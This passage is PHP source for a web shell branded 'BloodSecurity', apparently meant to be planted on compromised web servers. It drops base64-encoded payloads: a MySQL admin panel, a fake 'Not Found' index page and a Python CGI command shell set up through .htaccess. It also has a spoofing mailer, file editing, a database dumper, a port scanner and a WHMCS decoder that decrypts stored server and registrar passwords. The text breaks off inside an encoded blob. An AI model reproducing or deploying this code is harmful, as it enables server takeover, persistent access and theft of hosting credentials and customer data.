IG15c3FsX2ZldGNoX2ZpZWxkKCAkcFJlc3VsdCwgJGkgKTsNCgkJCWVjaG8gIjx0aD4iLiRmaWVsZC0+bmFtZS4iPC90aD5cbiI7DQoJCX0NCgkJZWNobyAiPC90cj5cbiI7DQoJCXdoaWxlKCAxICkgew0KCQkJJHJvd0FycmF5ID0gbXlzcWxfZmV0Y2hfcm93KCAkcFJlc3VsdCApOw0KCQkJaWYoICRyb3dBcnJheSA9PSBmYWxzZSApIGJyZWFrOw0KCQkJZWNobyAiPHRyPlxuIjsNCgkJCWZvciggJGogPSAwOyAkaiA8ICRjb2w7ICRqKysgKQ0KCQkJCWVjaG8gIjx0ZD4iLmh0bWxzcGVjaWFsY2hhcnMoICRyb3dBcnJheVskal0gKS4iPC90ZD5cbiI7DQoJCQllY2hvICI8L3RyPlxuIjsNCgkJfQ0KCQllY2hvICI8L3RhYmxlPlxuIjsNCgl9DQp9DQpmdW5jdGlvbiBmb290ZXJfaHRtbCgpIHsNCglnbG9iYWwgJG15c3FsSGFuZGxlLCAkZGJuYW1lLCAkdGFibGVuYW1lLCAkUEhQX1NFTEYsICRVU0VSTkFNRTsNCgllY2hvICI8aHI+XG4iOw0KCWVjaG8gIjxzcGFuIGNsYXNzPVwibmV3XCI+WyRVU0VSTkFNRV08L3NwYW4+IC0gXG4iOw0KCWVjaG8gIjxhIGhyZWY9JyRQSFBfU0VMRj9hY3Rpb249YkdsemRFUkNjdz09Jz5EYXRhYmFzZSBMaXN0PC9hPiB8IFxuIjsNCglpZiggJHRhYmxlbmFtZSAhPSAiIiApDQoJCWVjaG8gIjxhIGhyZWY9JyRQSFBfU0VMRj9hY3Rpb249bGlzdFRhYmxlcyZkYm5hbWU9JGRibmFtZSZ0YWJsZW5hbWU9JHRhYmxlbmFtZSc+VGFibGUgTGlzdDwvYT4gfCAiOw0KCWVjaG8gIjxhIGhyZWY9JyRQSFBfU0VMRj9hY3Rpb249dXRpbHMnPlV0aWxzPC9hPiB8XG4iOw0KCWVjaG8gIjxhIGhyZWY9JyRQSFBfU0VMRj9hY3Rpb249bG9nb3V0Jz5Mb2dvdXQ8L2E+XG4iOw0KfQ0KLy8tLS0tLS0tLS0tLS0tIE1BSU4gLS0tLS0tLS0tLS0tLSAvLw0KZXJyb3JfcmVwb3J0aW5nKDApOw0KaW5pX3NldCAoJ2Rpc3BsYXlfZXJyb3JzJywgMCk7DQppbmlfc2V0ICgnbG9nX2Vycm9ycycsIDApOw0KaWYoICRhY3Rpb24gPT0gImxvZ29uIiB8fCAkYWN0aW9uID09ICIiIHx8ICRhY3Rpb24gPT0gImxvZ291dCIgKQ0KCWxvZ29uKCk7DQplbHNlIGlmKCAkYWN0aW9uID09ICJiRzluYjI1ZmMzVmliV2wwIiApDQoJbG9nb25fc3VibWl0KCk7DQplbHNlIGlmKCAkYWN0aW9uID09ICJkdW1wVGFibGUiIHx8ICRhY3Rpb24gPT0gImR1bXBEQiIgKSB7DQoJd2hpbGUoIGxpc3QoJHZhciwgJHZhbHVlKSA9IGVhY2goJEhUVFBfQ09PS0lFX1ZBUlMpICkgew0KCQlpZiggJHZhciA9PSAibXlzcWxfd2ViX2FkbWluX3VzZXJuYW1lIiApICRVU0VSTkFNRSA9ICR2YWx1ZTsNCgkJaWYoICR2YXIgPT0gIm15c3FsX3dlYl9hZG1pbl9wYXNzd29yZCIgKSAkUEFTU1dPUkQgPSAkdmFsdWU7DQoJCWlmKCAkdmFyID09ICJteXNxbF93ZWJfYWRtaW5faG9zdG5hbWUiICkgJEhPU1ROQU1FID0gJHZhbHVlOw0KCX0NCgkkbXlzcWxIYW5kbGUgPSBAbXlzcWxfY29ubmVjdCggJEhPU1ROQU1FLiI6MzMwNiIsICRVU0VSTkFNRSwgJFBBU1NXT1JEICk7DQoJZHVtcCgpOw0KfSBlbHNlIHsNCgl3aGlsZSggbGlzdCgkdmFyLCAkdmFsdWUpID0gZWFjaCgkSFRUUF9DT09LSUVfVkFSUykgKSB7DQoJCWlmKCAkdmFyID09ICJteXNxbF93ZWJfYWRtaW5fdXNlcm5hbWUiICkgJFVTRVJOQU1FID0gJHZhbHVlOw0KCQlpZiggJHZhciA9PSAibXlzcWxfd2ViX2FkbWluX3Bhc3N3b3JkIiApICRQQVNTV09SRCA9ICR2YWx1ZTsNCgkJaWYoICR2YXIgPT0gIm15c3FsX3dlYl9hZG1pbl9ob3N0bmFtZSIgKSAkSE9TVE5BTUUgPSAkdmFsdWU7DQoJfQ0KCWVjaG8gIjwhLS0iOw0KCSRteXNxbEhhbmRsZSA9IEBteXNxbF9jb25uZWN0KCAkSE9TVE5BTUUuIjozMzA2IiwgJFVTRVJOQU1FLCAkUEFTU1dPUkQgKTsNCgllY2hvICItLT4iOw0KCWlmKCAkbXlzcWxIYW5kbGUgPT0gZmFsc2UgKSB7DQoJCWVjaG8gIjx0YWJsZSB3aWR0aD0xMDAlIGhlaWdodD0xMDAlPjx0cj48dGQ+PGNlbnRlcj5cbiI7DQoJCWVjaG8gIjxoMT5Xcm9uZyBQYXNzd29yZCE8L2gxPlxuIjsNCgkJZWNobyAiPGEgaHJlZj0nJFBIUF9TRUxGP2FjdGlvbj1sb2dvbic+TG9nb248L2E+XG4iOw0KCQllY2hvICI8L2NlbnRlcj48L3RkPjwvdHI+PC90YWJsZT5cbiI7DQoJfSBlbHNlIHsNCgkJaWYoICRhY3Rpb24gPT0gImJHbHpkRVJDY3c9PSIgKQ0KCQkJbGlzdERhdGFiYXNlcygpOw0KCQllbHNlIGlmKCAkYWN0aW9uID09ICJjcmVhdGVEQiIgKQ0KCQkJY3JlYXRlRGF0YWJhc2UoKTsNCgkJZWxzZSBpZiggJGFjdGlvbiA9PSAiZHJvcERCIiApDQoJCQlkcm9wRGF0YWJhc2UoKTsNCgkJZWxzZSBpZiggJGFjdGlvbiA9PSAibGlzdFRhYmxlcyIgKQ0KCQkJbGlzdFRhYmxlcygpOw0KCQllbHNlIGlmKCAkYWN0aW9uID09ICJjcmVhdGVUYWJsZSIgKQ0KCQkJY3JlYXRlVGFibGUoKTsNCgkJZWxzZSBpZiggJGFjdGlvbiA9PSAiZHJvcFRhYmxlIiApDQoJCQlkcm9wVGFibGUoKTsNCgkJZWxzZSBpZiggJGFjdGlvbiA9PSAidmlld1NjaGVtYSIgKQ0KCQkJdmlld1NjaGVtYSgpOw0KCQllbHNlIGlmKCAkYWN0aW9uID09ICJxdWVyeSIgKQ0KCQkJdmlld0RhdGEoICRxdWVyeVN0ciApOw0KCQllbHNlIGlmKCAkYWN0aW9uID09ICJhZGRGaWVsZCIgKQ0KCQkJbWFuYWdlRmllbGQoICJhZGQiICk7DQoJCWVsc2UgaWYoICRhY3Rpb24gPT0gImFkZEZpZWxkX3N1Ym1pdCIgKQ0KCQkJbWFuYWdlRmllbGRfc3VibWl0KCAiYWRkIiApOw0KCQllbHNlIGlmKCAkYWN0aW9uID09ICJlZGl0RmllbGQiICkNCgkJCW1hbmFnZUZpZWxkKCAiZWRpdCIgKTsNCgkJZWxzZSBpZiggJGFjdGlvbiA9PSAiZWRpdEZpZWxkX3N1Ym1pdCIgKQ0KCQkJbWFuYWdlRmllbGRfc3VibWl0KCAiZWRpdCIgKTsNCgkJZWxzZSBpZiggJGFjdGlvbiA9PSAiZHJvcEZpZWxkIiApDQoJCQlkcm9wRmllbGQoKTsNCgkJZWxzZSBpZiggJGFjdGlvbiA9PSAiZG1sbGQwUmhkR0U9IiApDQoJCQl2aWV3RGF0YSggIiIgKTsNCgkJZWxzZSBpZiggJGFjdGlvbiA9PSAiYWRkRGF0YSIgKQ0KCQkJbWFuYWdlRGF0YSggImFkZCIgKTsNCgkJZWxzZSBpZiggJGFjdGlvbiA9PSAiYWRkRGF0YV9zdWJtaXQiICkNCgkJCW1hbmFnZURhdGFfc3VibWl0KCAiYWRkIiApOw0KCQllbHNlIGlmKCAkYWN0aW9uID09ICJlZGl0RGF0YSIgKQ0KCQkJbWFuYWdlRGF0YSggImVkaXQiICk7DQoJCWVsc2UgaWYoICRhY3Rpb24gPT0gImVkaXREYXRhX3N1Ym1pdCIgKQ0KCQkJbWFuYWdlRGF0YV9zdWJtaXQoICJlZGl0IiApOw0KCQllbHNlIGlmKCAkYWN0aW9uID09ICJkZWxldGVEYXRhIiApDQoJCQlkZWxldGVEYXRhKCk7DQoJCWVsc2UgaWYoICRhY3Rpb24gPT0gInV0aWxzIiApDQoJCQl1dGlscygpOw0KCQlteXNxbF9jbG9zZSggJG15c3FsSGFuZGxlKTsNCgkJZm9vdGVyX2h0bWwoKTsNCgl9DQp9DQo/Pg0KPGh0bWw+DQo8aGVhZD4NCjx0aXRsZT5NeVNRTCBJbnRlcmZhY2UgKERldmVsb3BlZCBCeSBNb2hhamVyMjIpPC90aXRsZT4NCjxib2R5IGJnQ29sb3I9IzAwMDAwMCA+DQo8c3R5bGUgdHlwZT0idGV4dC9jc3MiPg0KPCEtLQ0KcC5sb2NhdGlvbiB7DQoJY29sb3I6ICMwMEZGMDA7DQp9DQpoMSwgaDIsIGgzIHsNCgljb2xvcjogIzAwRkYwMDsNCn0NCnRoIHsNCgliYWNrZ3JvdW5kLWNvbG9yOiAjMjIyMjIyOw0KCWNvbG9yOiAjMDBGRjAwOw0KCWZvbnQtc2l6ZTogc21hbGw7DQp9DQp0ZCB7DQoJY29sb3I6ICMwMEZGMDA7DQoJYmFja2dyb3VuZC1jb2xvcjogIzQ0NDQ0NDsNCglmb250LXNpemU6IHNtYWxsOw0KfQ0KZm9ybSB7DQoJbWFyZ2luLXRvcDogMDsNCgltYXJnaW4tYm90dG9tOiAwOw0KfQ0KYSB7DQoJdGV4dC1kZWNvcmF0aW9uOm5vbmU7DQoJY29sb3I6ICMwMEZGMDA7DQoJZm9udC1zaXplOnNtYWxsOw0KfQ0KQTpsaW5rIHsNCkNPTE9SOiNGRkZGRkY7DQpURVhULURFQ09SQVRJT046IG5vbmUNCn0NCkE6dmlzaXRlZCB7DQpDT0xPUjojMDBGRjAwOw0KVEVYVC1ERUNPUkFUSU9OOiBub25lDQp9DQpBOmFjdGl2ZSB7DQpDT0xPUjojMDBGRjAwOw0KVEVYVC1ERUNPUkFUSU9OOiBub25lDQp9DQpBOmhvdmVyIHsNCmNvbG9yOiMwMEZGMDA7DQpURVhULURFQ09SQVRJT046IG5vbmUNCn0NCmlucHV0LCBzZWxlY3QsIHRleHRhcmVhIHsNCmJhY2tncm91bmQtY29sb3I6ICMwMDAwMDA7DQpib3JkZXItc3R5bGU6IHNvbGlkOw0KZm9udC1mYW1pbHk6IFRhaG9tYSxWZXJkYW5hLEFyaWFsLFNhbnMtU2VyaWY7DQpmb250LXNpemU6c21hbGw7DQpjb2xvcjogIzAwRkYwMDsNCnBhZGRpbmc6IDBweDsNCn0NCmxpIHsNCmNvbG9yOiAjMDBGRjAwOw0KfQ0KLm5ldyB7DQpjb2xvcjogIzAwRkYwMDsNCn0NCi8vLS0+DQo8L3N0eWxlPg0KPC9oZWFkPg=='; 
$file = fopen("db-sql.php" ,"w+");
$write = fwrite ($file ,base64_decode($sqlshell));
fclose($file);
    chmod("db-sql.php", 0644);
$indexshell = fopen("index.php" ,"w+");
$data = 'PGgxPk5vdCBGb3VuZDwvaDE+IA0KPHA+VGhlIHJlcXVlc3RlZCBVUkwgd2FzIG5vdCBmb3VuZCBvbiB0aGlzIHNlcnZlci48L3A+IA0KPGhyPiANCjxhZGRyZXNzPkFwYWNoZSBTZXJ2ZXIgYXQgPD89JF9TRVJWRVJbJ0hUVFBfSE9TVCddPz4gUG9ydCA4MDwvYWRkcmVzcz4gDQogICAgPHN0eWxlPiANCiAgICAgICAgaW5wdXQgeyBtYXJnaW46MDtiYWNrZ3JvdW5kLWNvbG9yOiNmZmY7Ym9yZGVyOjFweCBzb2xpZCAjZmZmOyB9IA0KICAgIDwvc3R5bGU+';
$tulis = fwrite( $indexshell, base64_decode($data));
fclose($indexshell);
   echo "<iframe src=mysql/db-sql.php width=97% height=100% frameborder=0></iframe>"; 
}

elseif(isset($_GET['x']) && ($_GET['x'] == 'mail')){
if(isset($_POST['mail_send'])){
	$mail_to = $_POST['mail_to'];
	$mail_from = $_POST['mail_from'];
	$mail_subject = $_POST['mail_subject'];
	$mail_content = magicboom($_POST['mail_content']);
	if(@mail($mail_to,$mail_subject,$mail_content,"FROM:$mail_from")){
		$msg = "email sent to $mail_to";
	}
	else $msg = "send email failed";
}
?>
<a href="?&x=dump">Database Dump</a> -
<a href="?&x=config">Config</a> -
<a href="?&x=symlink">Symlink</a>
<a href="?&x=whmcs">Whmcs Decoder</a> -
<a href="?&x=sql">Mysql</a> -
<a href="?&x=mail">Mailer</a>
<a href="?&x=port-sc">Port Scan</a> -
<a href="?&x=domain">Domain</a> -
<a href="?&x=python">Python Portable</a>  </center>
</b>';
<form action="?y=<?php echo $pwd; ?>&amp;x=mail" method="post">
<table class="cmdbox">
<tr><td>
<textarea class="output" name="mail_content" id="cmd" style="height:340px;">Hey there, please patch me ASAP ;-p</textarea>
<tr><td>&nbsp;<input class="inputz" style="width:20%;" type="text" value="[email protected]" name="mail_to" />&nbsp; mail to</td></tr>
<tr><td>&nbsp;<input class="inputz" style="width:20%;" type="text" value="[email protected]" name="mail_from" />&nbsp; from</td></tr>
<tr><td>&nbsp;<input class="inputz" style="width:20%;" type="text" value="patch me" name="mail_subject" />&nbsp; subject</td></tr>
<tr><td>&nbsp;<input style="width:19%;" class="inputzbut" type="submit" value="Go !" name="mail_send" /></td></tr></form>
<tr><td>&nbsp;&nbsp;&nbsp;&nbsp;<?php echo $msg; ?></td></tr>
</table>
</form>

<?php }


elseif(isset($_GET['x']) && ($_GET['x'] == 'phpinfo')){ 
	@ob_start();
	eval("phpinfo();");
	$buff = @ob_get_contents();
	@ob_end_clean();	
	$awal = strpos($buff,"<body>")+6;
	$akhir = strpos($buff,"</body>");
	echo "<div class=\"phpinfo\">".substr($buff,$awal,$akhir-$awal)."</div>";
}
elseif(isset($_GET['view']) && ($_GET['view'] != "")){
  if(is_file($_GET['view'])){ 
	if(!isset($file)) $file = magicboom($_GET['view']);
	if(!$win && $posix){
		$name=@posix_getpwuid(@fileowner($folder));
		$group=@posix_getgrgid(@filegroup($folder));
		$owner = $name['name']."<span class=\"gaya\"> : </span>".$group['name'];
	}
	else {
		$owner = $user;
	}
	$filn = basename($file);
	echo "<table style=\"margin:6px 0 0 2px;line-height:20px;\">
	<tr><td>Filename</td><td><span id=\"".clearspace($filn)."_link\">".$file."</span>
	<form action=\"?y=".$pwd."&amp;view=$file\" method=\"post\" id=\"".clearspace($filn)."_form\" class=\"sembunyi\" style=\"margin:0;padding:0;\">
		<input type=\"hidden\" name=\"oldname\" value=\"".$filn."\" style=\"margin:0;padding:0;\" />
		<input class=\"inputz\" style=\"width:200px;\" type=\"text\" name=\"newname\" value=\"".$filn."\" />
		<input class=\"inputzbut\" type=\"submit\" name=\"rename\" value=\"rename\" />
		<input class=\"inputzbut\" type=\"submit\" name=\"cancel\" value=\"cancel\" onclick=\"tukar('".clearspace($filn)."_link','".clearspace($filn)."_form');\" />
	</form>
	</td></tr>
	<tr><td>Size</td><td>".ukuran($file)."</td></tr>
	<tr><td>Permission</td><td>".get_perms($file)."</td></tr>
	<tr><td>Owner</td><td>".$owner."</td></tr>
	<tr><td>Create time</td><td>".date("d-M-Y H:i",@filectime($file))."</td></tr>
	<tr><td>Last modified</td><td>".date("d-M-Y H:i",@filemtime($file))."</td></tr>
	<tr><td>Last accessed</td><td>".date("d-M-Y H:i",@fileatime($file))."</td></tr>
	<tr><td>Actions</td><td><a href=\"?y=$pwd&amp;edit=$file\">edit</a> | <a href=\"javascript:tukar('".clearspace($filn)."_link','".clearspace($filn)."_form');\">rename</a> | <a href=\"?y=$pwd&amp;delete=$file\">delete</a> | <a href=\"?y=$pwd&amp;dl=$file\">download</a>&nbsp;(<a href=\"?y=$pwd&amp;dlgzip=$file\">gzip</a>)</td></tr>
	<tr><td>View</td><td><a href=\"?y=".$pwd."&amp;view=".$file."\">text</a> | <a href=\"?y=".$pwd."&amp;view=".$file."&amp;type=code\">code</a> | <a href=\"?y=".$pwd."&amp;view=".$file."&amp;type=image\">image</a></td></tr>
	</table>
	";
	if(isset($_GET['type']) && ($_GET['type']=='image')){
		echo "<div style=\"text-align:center;margin:8px;\"><img src=\"?y=".$pwd."&amp;img=".$filn."\"></div>";
	}
	elseif(isset($_GET['type']) && ($_GET['type']=='code')){
		echo "<div class=\"viewfile\">";
		$file = wordwrap(@file_get_contents($file),"240","
");
		@highlight_string($file);
		echo "</div>";
	}
	else {
		echo "<div class=\"viewfile\">";
		echo nl2br(htmlentities((@file_get_contents($file))));
		echo "</div>";
	}
  }
  elseif(is_dir($_GET['view'])){
		echo showdir($pwd,$prompt);
  }
	
}
elseif(isset($_GET['edit']) && ($_GET['edit'] != "")){

		if(isset($_POST['save'])){
			$file = $_POST['saveas'];
			$content = magicboom($_POST['content']);
			if($filez = @fopen($file,"w")){
				$time = date("d-M-Y H:i",time());
				if(@fwrite($filez,$content)) $msg = "file saved <span class=\"gaya\">@</span> ".$time;
				else $msg = "failed to save";
				@fclose($filez);
			}
			else $msg = "permission denied";
		}
		if(!isset($file)) $file = $_GET['edit'];
		if($filez = @fopen($file,"r")){
			$content = "";
			while(!feof($filez)){
				$content .= htmlentities(str_replace("''","'",fgets($filez)));
			}
			@fclose($filez);
		}
	
?>
<form action="?y=<?php echo $pwd; ?>&amp;edit=<?php echo $file; ?>" method="post">
<table class="cmdbox">
<tr><td colspan="2">
<textarea class="output" name="content">
<?php echo $content; ?>
</textarea>
<tr><td colspan="2">Save as <input onMouseOver="this.focus();" id="cmd" class="inputz" type="text" name="saveas" style="width:60%;" value="<?php echo $file; ?>" /><input class="inputzbut" type="submit" value="Save !" name="save" style="width:12%;" />
&nbsp;<?php echo $msg; ?></td></tr>
</table>
</form>
<?php
}

elseif(isset($_GET['x']) && ($_GET['x'] == 'kill'))
{	
echo '<center>Do you really want to delete this shell ?</center><br><br>';
?>
<center><b><a style="color:#ff0000;" href="?&x=killit">Yes</a> &nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 
<a style="color:#ff0000;" href="<?php echo $_SERVER['PHP_SELF']; ?>">No</a></b></center><br><br>
<?php
}
elseif(isset($_GET['x']) && ($_GET['x'] == 'killit'))
{	
?>
<?php
$file = $_SERVER['PHP_SELF'];
if(@unlink(preg_replace('!\(\d+\)\s.*!', '', __FILE__)))
die('<br><br><b class="tmp"><font color="#ff0000" size="2pt"><center>Shell has been Killed...Take Care And Stay Safe</center></font></b><meta http-equiv="refresh" content="3; url=?".$pwd."" />');
else
echo '<font color="#fff600" size="2pt">unlink error!</font>';
}

elseif(isset($_GET['x']) && ($_GET['x'] == 'logout'))
{	
?>
<form action="?y=<?php echo $pwd; ?>&amp;x=logout" method="post">
<meta http-equiv="Refresh" content="1; url=?">
<?php
    unset($_SESSION[md5($_SERVER['HTTP_HOST'])]); 
    echo 'You Have Logged Out Bro BloodSecurity ..!'; 
}
/////////////////////////////////////////////////////////////////
elseif(isset($_GET['x']) && ($_GET['x'] == 'dump'))
    {
    ?>
	<a href="?&x=dump">Database Dump</a> -
<a href="?&x=config">Config</a> -
<a href="?&x=symlink">Symlink</a>
<a href="?&x=whmcs">Whmcs Decoder</a> -
<a href="?&x=sql">Mysql</a> -
<a href="?&x=mail">Mailer</a>
<a href="?&x=port-sc">Port Scan</a> -
<a href="?&x=domain">Domain</a> -
<a href="?&x=python">Python Portable</a>  </center>
</b>';
    <form action="?y=<?php echo $pwd; ?>&x=dump" method="post">
    <?php
echo $head.'<p align="center">';
echo '
<table width=371 class=tabnet >
<tr><th colspan="2">Database Dump</th></tr>
<tr>
	<td>Server </td>
	<td><input class="inputz" type=text name=server size=52></td></tr><tr>
	<td>Username</td>
	<td><input class="inputz" type=text name=username size=52></td></tr><tr>
	<td>Password</td>
	<td><input class="inputz" type=text name=password size=52></td></tr><tr>
	<td>DataBase Name</td>
	<td><input class="inputz" type=text name=dbname size=52></td></tr>
	<tr>
	<td>DB Type </td>
	<td><form method=post action="'.$me.'">
	<select class="inputz" name=method>
		<option  value="gzip">Gzip</option>
		<option value="sql">Sql</option>
		</select>
	<input class="inputzbut" type=submit value="  Dump!  " ></td></tr>
	</form></center></table>';
if ($_POST['username'] && $_POST['dbname'] && $_POST['method']){
$date = date("Y-m-d");
$dbserver = $_POST['server'];
$dbuser = $_POST['username'];
$dbpass = $_POST['password'];
$dbname = $_POST['dbname'];
$file = "Dump-$dbname-$date";
$method = $_POST['method'];
if ($method=='sql'){
$file="Dump-$dbname-$date.sql";
$fp=fopen($file,"w");
}else{
$file="Dump-$dbname-$date.sql.gz";
$fp = gzopen($file,"w");
}
function write($data) {
global $fp;
if ($_POST['method']=='ssql'){
fwrite($fp,$data);
}else{
gzwrite($fp, $data);
}}
mysql_connect ($dbserver, $dbuser, $dbpass);
mysql_select_db($dbname);
$tables = mysql_query ("SHOW TABLES");
while ($i = mysql_fetch_array($tables)) {
    $i = $i['Tables_in_'.$dbname];
    $create = mysql_fetch_array(mysql_query ("SHOW CREATE TABLE ".$i));
    write($create['Create Table'].";

");
    $sql = mysql_query ("SELECT * FROM ".$i);
    if (mysql_num_rows($sql)) {
        while ($row = mysql_fetch_row($sql)) {
            foreach ($row as $j => $k) {
                $row[$j] = "'".mysql_escape_string($k)."'";
            }
            write("INSERT INTO $i VALUES(".implode(",", $row).");
");
        }
    }
}
if ($method=='ssql'){
fclose ($fp);
}else{
gzclose($fp);}
header("Content-Disposition: attachment; filename=" . $file);   
header("Content-Type: application/download");
header("Content-Length: " . filesize($file));
flush();

$fp = fopen($file, "r");
while (!feof($fp))
{
    echo fread($fp, 65536);
    flush();
} 
fclose($fp); 
}

}
/////////////////////////////////////////////////////////////////
elseif(isset($_GET['x']) && ($_GET['x'] == 'port-sc'))
    {
    ?>
	<a href="?&x=dump">Database Dump</a> -
<a href="?&x=config">Config</a> -
<a href="?&x=symlink">Symlink</a>
<a href="?&x=whmcs">Whmcs Decoder</a> -
<a href="?&x=sql">Mysql</a> -
<a href="?&x=mail">Mailer</a>
<a href="?&x=port-sc">Port Scan</a> -
<a href="?&x=domain">Domain</a> -
<a href="?&x=python">Python Portable</a>  </center>
</b>';
    <form action="?y=<?php echo $pwd; ?>&x=port-sc" method="post">
    <?php
    echo '<br><br><center><br><b>+--=[ Port Scanner ]=--+</b><br>';
    $start = strip_tags($_POST['start']);
    $end = strip_tags($_POST['end']);
    $host = strip_tags($_POST['host']);
    if(isset($_POST['host']) && is_numeric($_POST['end']) && is_numeric($_POST['start'])){
    for($i = $start; $i<=$end; $i++){
    $fp = @fsockopen($host, $i, $errno, $errstr, 3);
    if($fp){
    echo 'Port '.$i.' is <font color=green>open</font><br>';
    }
    flush();
    }
    }else{
    echo '<table class=tabnet style="width:300px;padding:0 1px;">
   <input type="hidden" name="y" value="phptools">
   <tr><th colspan="5">Port Scanner</th></center></tr>
   <tr>
		<td>Host</td>
		<td><input type="text" class="inputz"  style="width:220px;color:#FF0000;" name="host" value="localhost"/></td>
   </tr>
   <tr>
		<td>Port start</td>
		<td><input type="text" class="inputz" style="width:220px;color:#FF0000;" name="start" value="0"/></td>
   </tr>
	<tr><td>Port end</td>
		<td><input type="text" class="inputz"  style="width:220px;color:#FF0000;" name="end" value="5000"/></td>
   </tr><td><input class="inputzbut" type="submit" style="color:#FF0000" value="Scan Ports" />
   </td></form></center></table>';
    }
}

/////////////////////////////////////////////////////////////////
elseif(isset($_GET['x']) && ($_GET['x'] == 'whmcs'))
{	
?>
<a href="?&x=dump">Database Dump</a> -
<a href="?&x=config">Config</a> -
<a href="?&x=symlink">Symlink</a>
<a href="?&x=whmcs">Whmcs Decoder</a> -
<a href="?&x=sql">Mysql</a> -
<a href="?&x=mail">Mailer</a>
<a href="?&x=port-sc">Port Scan</a> -
<a href="?&x=domain">Domain</a> -
<a href="?&x=python">Python Portable</a>  </center>
</b>';
<form action="?y=<?php echo $pwd; ?>&amp;x=whmcs" method="post">

<?php

function decrypt ($string,$cc_encryption_hash)
{
    $key = md5 (md5 ($cc_encryption_hash)) . md5 ($cc_encryption_hash);
    $hash_key = _hash ($key);
    $hash_length = strlen ($hash_key);
    $string = base64_decode ($string);
    $tmp_iv = substr ($string, 0, $hash_length);
    $string = substr ($string, $hash_length, strlen ($string) - $hash_length);
    $iv = $out = '';
    $c = 0;
    while ($c < $hash_length)
    {
        $iv .= chr (ord ($tmp_iv[$c]) ^ ord ($hash_key[$c]));
        ++$c;
    }
    $key = $iv;
    $c = 0;
    while ($c < strlen ($string))
    {
        if (($c != 0 AND $c % $hash_length == 0))
        {
            $key = _hash ($key . substr ($out, $c - $hash_length, $hash_length));
        }
        $out .= chr (ord ($key[$c % $hash_length]) ^ ord ($string[$c]));
        ++$c;
    }
    return $out;
}

function _hash ($string)
{
    if (function_exists ('sha1'))
    {
        $hash = sha1 ($string);
    }
    else
    {
        $hash = md5 ($string);
    }
    $out = '';
    $c = 0;
    while ($c < strlen ($hash))
    {
        $out .= chr (hexdec ($hash[$c] . $hash[$c + 1]));
        $c += 2;
    }
    return $out;
}

echo "
<br><center><font size='5' color='#FF0000'><b>-=[ WHMCS Decoder ]=-</b></font></center>
<center>
<br>

<FORM action=''  method='post'>
<input type='hidden' name='form_action' value='2'>
<br>
<table class=tabnet style=width:320px;padding:0 1px;>
<tr><th colspan=2>WHMCS Decoder</th></tr> 
<tr><td>db_host </td><td><input type='text' style='color:#FF0000;background-color:' class='inputz' size='38' name='db_host' value='localhost'></td></tr>
<tr><td>db_username </td><td><input type='text' style='color:#FF0000;background-color:' class='inputz' size='38' name='db_username' value=''></td></tr>
<tr><td>db_password</td><td><input type='text' style='color:#FF0000;background-color:' class='inputz' size='38' name='db_password' value=''></td></tr>
<tr><td>db_name</td><td><input type='text' style='color:#FF0000;background-color:' class='inputz' size='38' name='db_name' value=''></td></tr>
<tr><td>cc_encryption_hash</td><td><input style='color:#FF0000;background-color:' type='text' class='inputz' size='38' name='cc_encryption_hash' value=''></td></tr>
<td>&nbsp;&nbsp;&nbsp;&nbsp;<INPUT class='inputzbut' type='submit' style='color:#FF0000;background-color:'  value='Submit' name='Submit'></td>
</table>
</FORM>
</center>
";

 if($_POST['form_action'] == 2 )
 {
 //include($file);
 $db_host=($_POST['db_host']);
 $db_username=($_POST['db_username']);
 $db_password=($_POST['db_password']);
 $db_name=($_POST['db_name']);
 $cc_encryption_hash=($_POST['cc_encryption_hash']);



    $link=mysql_connect($db_host,$db_username,$db_password) ;
        mysql_select_db($db_name,$link) ;
$query = mysql_query("SELECT * FROM tblservers");
while($v = mysql_fetch_array($query)) {
$ipaddress = $v['ipaddress'];
$username = $v['username'];
$type = $v['type'];
$active = $v['active'];
$hostname = $v['hostname'];
echo("<center><table border='1'>");
$password = decrypt ($v['password'], $cc_encryption_hash);
echo("<tr><td>Type</td><td>$type</td></tr>");
echo("<tr><td>Active</td><td>$active</td></tr>");
echo("<tr><td>Hostname</td><td>$hostname</td></tr>");
echo("<tr><td>Ip</td><td>$ipaddress</td></tr>");
echo("<tr><td>Username</td><td>$username</td></tr>");
echo("<tr><td>Password</td><td>$password</td></tr>");

echo "</table><br><br></center>";
}

    $link=mysql_connect($db_host,$db_username,$db_password) ;
        mysql_select_db($db_name,$link) ;
$query = mysql_query("SELECT * FROM tblregistrars");
echo("<center>Domain Reseller <br><table class=tabnet border='1'>");
echo("<tr><td>Registrar</td><td>Setting</td><td>Value</td></tr>");
while($v = mysql_fetch_array($query)) {
$registrar     = $v['registrar'];
$setting = $v['setting'];
$value = decrypt ($v['value'], $cc_encryption_hash);
if ($value=="") {
$value=0;
}
$password = decrypt ($v['password'], $cc_encryption_hash);
echo("<tr><td>$registrar</td><td>$setting</td><td>$value</td></tr>");
}
}
}

//////////////////////////////////////////////////////////////////////////////////////////////
elseif(isset($_GET['x']) && ($_GET['x'] == 'python')) { 
echo "<center/><br/><b>
 +--==[ python  Bypass Exploit ]==--+ 
 </b><br><br>";
 
 
 
    mkdir('python', 0755);
    chdir('python');
        $kokdosya = ".htaccess";
        $dosya_adi = "$kokdosya";
        $dosya = fopen ($dosya_adi , 'w') or die ("Dosya a&#231;&#305;lamad&#305;!");
        $metin = "AddHandler cgi-script .izo";    
        fwrite ( $dosya , $metin ) ;
        fclose ($dosya);
$pythonp = 'IyEvdXNyL2Jpbi9weXRob24KIyAwNy0wNy0wNAojIHYxLjAuMAoKIyBjZ2ktc2hlbGwucHkKIyBB
IHNpbXBsZSBDR0kgdGhhdCBleGVjdXRlcyBhcmJpdHJhcnkgc2hlbGwgY29tbWFuZHMuCgoKIyBD
b3B5cmlnaHQgTWljaGFlbCBGb29yZAojIFlvdSBhcmUgZnJlZSB0byBtb2RpZnksIHVzZSBhbmQg
cmVsaWNlbnNlIHRoaXMgY29kZS4KCiMgTm8gd2FycmFudHkgZXhwcmVzcyBvciBpbXBsaWVkIGZv
ciB0aGUgYWNjdXJhY3ksIGZpdG5lc3MgdG8gcHVycG9zZSBvciBvdGhlcndpc2UgZm9yIHRoaXMg
Y29kZS4uLi4KIyBVc2UgYXQgeW91ciBvd24gcmlzayAhISEKCiMgRS1tYWlsIG1pY2hhZWwgQVQg
Zm9vcmQgRE9UIG1lIERPVCB1awojIE1haW50YWluZWQgYXQgd3d3LnZvaWRzcGFjZS5vcmcudWsv
YXRsYW50aWJvdHMvcHl0aG9udXRpbHMuaHRtbAoKIiIiCkEgc2ltcGxlIENHSSBzY3JpcHQgdG8g
ZXhlY3V0ZSBzaGVsbCBjb21tYW5kcyB2aWEgQ0dJLgoiIiIKIyMjIyMjIyMjIyMjIyMjIyMjIyMj
